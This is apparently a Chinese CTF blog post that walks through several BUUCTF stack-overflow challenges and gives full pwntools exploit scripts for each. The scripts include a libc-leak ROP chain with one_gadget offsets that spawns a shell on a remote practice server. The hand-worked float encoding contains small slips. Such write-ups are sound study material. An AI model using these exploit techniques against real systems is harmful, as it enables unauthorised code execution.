zoukankan      html  css  js  c++  java
  • &pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&

      在做buu题目的时候,发现在最上面有几道被各位师傅打到1分的题,强迫症逼迫我去做那几道题。

      这里来试着去解决这些题。。。讲真的,我感觉自己刷题真的少,即使是很简单的栈题目,我还是能学习到新的东西。这里就记录一下这几道题。

      pwn1_sctf_2016

      检查了一下保护,32位程序,只开启了堆栈不可执行。直接ida看一下伪代码吧。

      看代码也就是一个简单的栈溢出。但是我并没有自己做出这道题,太菜了。。。大一下学期我们有开设C++这门课,但是我由于一些事情,在家休息了一个多月,结果课也落下了。。。太痛苦了,C++吃亏在这里了,总要补的。。。

      其实这个CTF就应该半分做,半分蒙。可以看到fgets是对我们输入的内容进行了限制,所以我们不能溢出到返回地址,但是可以看到两个字符串“I”和“you”,其实应该输入这几个字符串进去看看是什么意思的。

      这里其实是一个回显,但是你如果输入“I”的话,就会给你自动转换成you,所以就解决溢出不到返回地址的问题了。接下来就是计算了。题目本身有可以直接拿shell的函数,直接返回地址转到那个shell 的地址就行了。还是羞耻的贴一下exp:

      

     1 from pwn import *
     2 
     3 p = process('./1')
     4 context.log_level = 'debug'
     5 
     6 shell_addr = 0x08048F0D
     7 
     8 payload = 'I'*21 + 'b' + p32(shell_addr)
     9 p.sendline(payload)
    10 p.recv()
    11 p.recv()

      

      ciscn_2019_n_1

      64位程序,保护只开启了堆栈不可执行。

      老套路,IDA看一下伪代码。

      

      可以看到这里gets是可以进行溢出的,但是这道题我们没有必要进行溢出,只要覆盖到v2,让v2==11.28125就可以了。

      接下来就是要明白浮点数如何在内存中表示了。

      所以11.28125用二进制表示的话,就是1011.01001,但是计算机可不会知道哪里有小数点,计算机只会识别01,至于这些01表示什么,那是由人定义的。就像这里,人们把这个定义为浮点数,当呈现在我们面前的时候,就是按照浮点数给我解释的。

      一个浮点数占有四个字节,一个字节由两个四位二进制数表示,那么大概就是这么个意思。

      xxxxxxxx xxxxxxxxx xxxxxxxx xxxxxxxx

      每个x都是占一个位,而对于浮点是计算机是怎么进行解释的呢?

          如你所见,32位每一位都有意义。

      符号位(Sign) : 0代表正,1代表为负

      指数位(Exponent):用于存储科学计数法中的指数数据,并且采用移位存储。

      尾数部分(Mantissa):尾数部分

      还是拉回来,看1011.01001 = 1011.01001*2的0次方 == 1.01101001*2的3次方

      因为是正数,所以符号位为0

      指数为127+1==128,127是一个偏移,这个偏移是由于说这个指数可能是负数,用这个指数位的时候需要先减去127再用,所以这里是127。(你或许没有听懂...大概意思有个组织这么规定了指数的正负)3就就是上面2的次方。

      再看尾数部分,尾数部分是01101001,接下来我们试着来写一下这个二进制数

      0    1000 0010    0110 1001 0000 0000 0000 000

      所以连起来就是01000001001101001000000000000000

      转换成16进制就是0x4134800,所以我们把V2的位置覆盖成这个数字就行了。

      贴一下exp:

    1 from pwn import *
    2 
    3 p = process('./ciscn_2019_n_1')
    4 elf = ELF('./ciscn_2019_n_1')
    5 context.log_level = 'debug'
    6 
    7 payload = 'a'*(0x30-4) + p64(0x41348000)
    8 p.sendlineafter('number.
    ',payload)
    9 p.recv()

      

      ciscn_2019_c_1  /   ciscn_2019_en_1

      感觉两道题长得一模一样。。。用一个exp都打通了。

      检查保护,64位程序,只开启了堆栈不可执行。

      emmmmmmm,简单的rop,溢出leaklibc然后拿到shell。

      用system拿不到shell,用one_getgad可以。

      直接贴exp了:

      

     1 from pwn import *
     2 
     3 #p = process('./ciscn_2019_c_1')
     4 p = remote('node3.buuoj.cn',27137)
     5 elf = ELF('./ciscn_2019_c_1')
     6 context.log_level = 'debug'
     7 
     8 pop_rdi = 0x00400c83
     9 sh = 0x0040045c
    10 puts_plt = 0x004006E0
    11 puts_got = elf.got['puts']
    12 start = elf.symbols['_start']
    13 #start = 0x0004009A0  //encry fun 
    14 
    15 p.sendlineafter('choice!
    ','1')
    16 payload = 'a'*0x50 + 'bbbbbbbb'
    17 payload += p64(pop_rdi) + p64(puts_got)
    18 payload += p64(puts_plt) + p64(start)
    19 p.sendlineafter('encrypted
    ',payload)
    20 sleep(0.1)
    21 p.recv(0x67)
    22 puts_addr = u64(p.recv(6).ljust(8,'x00'))
    23 print hex(puts_addr)
    24 base_addr = puts_addr - 0x0809c0
    25 system_addr = base_addr + 0x04f440
    26 binsh_addr = base_addr + 0x1b3e9a
    27 shell_addr = base_addr + 0x4f322
    28 
    29 sleep(0.1)
    30 p.sendlineafter('choice!
    ','1')
    31 payload = 'a'*0x50 + 'bbbbbbbb'
    32 payload += p64(shell_addr)
    33 p.sendlineafter('encrypted
    ',payload)
    34 sleep(0.1)
    35 p.recv()
    36 p.interactive()
    37 
    38 '''
    39 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
    40 constraints:
    41   rsp & 0xf == 0
    42   rcx == NULL
    43 
    44 0x4f322 execve("/bin/sh", rsp+0x40, environ)
    45 constraints:
    46   [rsp+0x40] == NULL
    47 
    48 0x10a38c execve("/bin/sh", rsp+0x70, environ)
    49 constraints:
    50   [rsp+0x70] == NULL
    51 '''
  • 相关阅读:
    CSS中position小解
    position
    mac默认安装postgresql, 如何让postgresql可以远程访问
    The data directory was initialized by PostgreSQL version 9.6, which is not compatible with this version 10.0.
    active admin gem error
    psql 无法添加超级用户
    ubuntu 15.04 安装Balsamiq Mockups 3
    Rails html 写public里图片的路径
    rails c 历史命令
    undefined local variable or method `per' for []:ActiveRecord::Relation
  • 原文地址:https://www.cnblogs.com/bhxdn/p/12653991.html
Copyright © 2011-2022 走看看